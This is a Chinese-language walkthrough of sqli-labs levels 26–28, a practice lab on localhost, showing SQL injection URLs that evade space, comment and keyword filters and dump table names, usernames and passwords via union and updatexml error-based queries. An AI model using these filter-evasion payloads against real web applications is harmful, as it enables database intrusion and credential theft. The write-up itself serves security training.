前言
25关已经出现了初步的一些关键字过滤,通过双写可以绕过。后面的关卡,我们会遇到更多关键字过滤,需要各种技巧绕过。
Less26
第26关写了会过滤空格和注释符。有很多的答案,会用%a0替代空格,但据说这是sqli-labs部署在在linux环境下的,而在windows环境下,我尝试了半天,只有用%0b可以替代空格。
经过测试,我们发现为单引号闭合,并且会过滤掉各种空格,同时and和or也会被过滤:
http://localhost/sqli-labs/less-26/?id=1%27oorr%271%27=%271
使用联合注入方式:
#测试回显
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,2,3'
#回显库名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,database(),3'
#爆表名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema="security"'
#爆列名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name="users"'
#爆用户名密码
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(username),group_concat(passwoorrd)%0bfrom%0busers%0bwhere%0b'1'='1
使用报错注入:
#库名
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,database()),1)||'1'='1
#表名,因为group_concat因为回显长度问题显示不全,可使用limit逐个列出
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(table_name)FROM(infoorrmation_schema.tables)where(table_schema="security")limit%0b0,1)),1)||'1'='1
#列名
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(column_name)FROM(infoorrmation_schema.columns)where(table_name="users")limit%0b0,1)),1)||'1'='1
#用户名密码
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(username)FROM(users)limit%0b0,1)),1)||'1'='1
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(passwoorrd)FROM(users)limit%0b0,1)),1)||'1'='1
Less26a
less26需要括号闭合。另外这关没有输出报错信息,因此不可使用报错注入。
#测试回显
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,2,('3
#回显库名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,(database()),3%0banandd('
#爆表名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema="security"aandnd ('1'='1
#爆列名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name="users"aandnd ('1'='1
#爆用户名密码
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(username),group_concat(passwoorrd)%0bfrom%0busers%0bwhere%0b('1'='1
Less27
27关与26关相比,减少了and和or的过滤,增加了select和union的过滤。前年我们已经知道了可以通过双写方式绕过,对于select,直接写成seselectlect就可以了。
#库名
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,database()),1)||'1'='1
#表名,因为group_concat因为回显长度问题显示不全,可使用limit逐个列出
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(table_name)FROM(information_schema.tables)where(table_schema="security")limit%0b0,1)),1)||'1'='1
#列名
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(column_name)FROM(information_schema.columns)where(table_name="users")limit%0b0,1)),1)||'1'='1
#用户名密码
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(username)FROM(users)limit%0b0,1)),1)||'1'='1
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(password)FROM(users)limit%0b0,1)),1)||'1'='1
Less28
28关写的是会过滤union和select,但实际似乎没有过滤,所以完全按照26a关的模式就好了
#回显库名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,(database()),3%0band('
#爆表名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema="security"and ('1'='1
#爆列名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name="users"and ('1'='1
#爆用户名密码
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(username),group_concat(password)%0bfrom%0busers%0bwhere%0b('1'='1
小结
这几关都是讲关键字和符号过滤的。在ctf比赛中还有更变态的情况,把几乎所有关键字和空格都过滤了那种!